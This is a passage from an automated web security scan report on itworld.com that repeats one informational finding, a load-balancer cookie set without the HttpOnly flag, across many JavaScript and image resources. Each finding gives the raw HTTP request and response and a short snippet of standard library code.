HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:35 GMT
ETag: "44e729-1f88-497f4989bbbc0"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 8072
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:17:51 GMT
X-Varnish: 1959718255 1959715721
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 14
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// $Id: fbconnect.js,v 1.4 2010/03/21 16:26:03 vectoroc Exp $

Drupal.fbconnect = Drupal.fbconnect || {};
Drupal.fbconnect.init = function () {
Drupal.behaviors.fbconnect = function(context) {
i
...[SNIP]...

7.45. http://www.itworld.com/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:29 GMT
ETag: "3efe84-69b-497f498402e40"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 1691
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:17 GMT
X-Varnish: 1959719448 1959719323
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.../**
* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2
* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
*
* @param f onMouseOver function || An object with configuration options
* @para
...[SNIP]...

7.46. http://www.itworld.com/sites/all/modules/contrib/img_assist/img_assist.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/img_assist/img_assist.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/img_assist/img_assist.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Fri, 21 Jan 2011 21:23:44 GMT
ETag: "456aec-75b-49a61dd691800"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 1883
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:17:49 GMT
X-Varnish: 1959718118 1959715722
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 15
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/* $Id: img_assist.js,v 1.6.4.2 2008/07/22 23:08:13 sun Exp $ */

Drupal.behaviors.img_assist = function(context) {
$('textarea.img_assist:not(.img_assist-processed)', context).each(function() {

...[SNIP]...

7.47. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

7.48. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/themes/base/images/ui-bg_flat_75_ffffff_40x100.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/themes/base/images/ui-bg_flat_75_ffffff_40x100.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/themes/base/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dhomepage%7C1316479684409%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:32 GMT
ETag: "456fa9-b2-497f4986df500"
Content-Type: image/png
Content-Length: 178
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:20 GMT
X-Varnish: 1959719697 1959719389
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 4
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR...(...d......drz...yIDATh...1.. ...R... .7..(..........V..`%X V..`%X V..`%X V..`%X V..`%X V..`%X V..`%X V..`%X V..`%X V..`%X V..`%X V..`%X V.j...)2.N....IEND.B`.

7.49. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:33 GMT
ETag: "456fe1-38a1-497f4987d3740"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 14497
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:03 GMT
X-Varnish: 1959718720 1959715751
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 18
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/*
* jQuery UI 1.7.3
*
* Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://docs.
...[SNIP]...

7.50. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 23 Mar 2011 21:06:17 GMT
ETag: "4571ab-46fc-49f2cbb530440"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 18172
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:32 GMT
X-Varnish: 1959719957 1959719374
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/*
* jQuery UI Dialog 1.7.3
*
* Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http:
...[SNIP]...

7.51. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:33 GMT
ETag: "456fe4-7485-497f4987d3740"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 29829
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:32 GMT
X-Varnish: 1959719962 1959719330
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 4
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/*
* jQuery UI Draggable 1.7.3
*
* Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* ht
...[SNIP]...

7.52. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:33 GMT
ETag: "456fe7-6850-497f4987d3740"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 26704
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:26 GMT
X-Varnish: 1959719918 1959719365
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/*
* jQuery UI Resizable 1.7.3
*
* Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* ht
...[SNIP]...

7.53. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:33 GMT
ETag: "456feb-4d40-497f4987d3740"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 19776
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:03 GMT
X-Varnish: 1959718726 1959715748
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 17
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/*
* jQuery UI Tabs 1.7.3
*
* Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://
...[SNIP]...

7.54. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.form.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.form.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/jquery_update/replace/jquery.form.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:30 GMT
ETag: "3df9e9-2400-497f4984f7080"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 9216
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:19:04 GMT
X-Varnish: 1959720732 1959719386
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 6
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/*!
* jQuery Form Plugin
* version: 2.43 (12-MAR-2010)
* @requires jQuery v1.3.2 or later
*
* Examples and documentation at: http://malsup.com/jquery/form/
* Dual licensed under the MIT and GPL licens
...[SNIP]...

7.55. http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_update/replace/jquery.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/jquery_update/replace/jquery.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:30 GMT
ETag: "3df9ea-1d7bb-497f4984f7080"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 120763
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:17:42 GMT
X-Varnish: 1959717911 1959715730
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 13
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/*!
* jQuery JavaScript Library v1.3.2
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-02
...[SNIP]...

7.56. http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 14 Sep 2011 17:19:32 GMT
ETag: "415ffc-3548-4ace9f6a1d100"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 13640
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:26:59 GMT
X-Varnish: 1038163184 1038158533
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 29
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

var doNotValidate = false;
function ka_comment_reply(cid){
var comment;
//jQuery('#reply_cancel').show();
comment = jQuery('#comment-'+cid+' .commentBody').html();
jQuery('#edit-parent
...[SNIP]...

7.57. http://www.itworld.com/sites/all/modules/contrib/mollom/mollom.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/mollom/mollom.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/mollom/mollom.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Tue, 19 Apr 2011 21:07:35 GMT
ETag: "654dcd-5e6-4a14be5b053c0"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 1510
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:17:55 GMT
X-Varnish: 1959718370 1959715731
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 15
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

(function ($) {

/**
* Open Mollom privacy policy link in a new window.
*
* Required for valid XHTML Strict markup.
*/
Drupal.behaviors.mollomPrivacy = function (context) {
$('.mollom-privacy a'
...[SNIP]...

7.58. http://www.itworld.com/sites/all/modules/contrib/nice_menus/nice_menus.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/nice_menus/nice_menus.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=39a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/nice_menus/nice_menus.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Last-Modified: Wed, 22 Dec 2010 00:11:29 GMT
ETag: "57ff2b-6bc-497f498402e40"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 1724
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:17:55 GMT
X-Varnish: 398316926 398315308
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 12
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=39a4a8c00000b822; Path=/; Max-age=600

// $Id: nice_menus.js,v 1.10.2.6 2008/08/04 23:45:51 add1sun Exp $

// We need to do some browser sniffing to weed out IE 6 only
// because only IE6 needs this hover hack.
if (document.all && !window.
...[SNIP]...

7.59. http://www.itworld.com/sites/all/modules/contrib/panels/js/panels.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/panels/js/panels.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/contrib/panels/js/panels.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
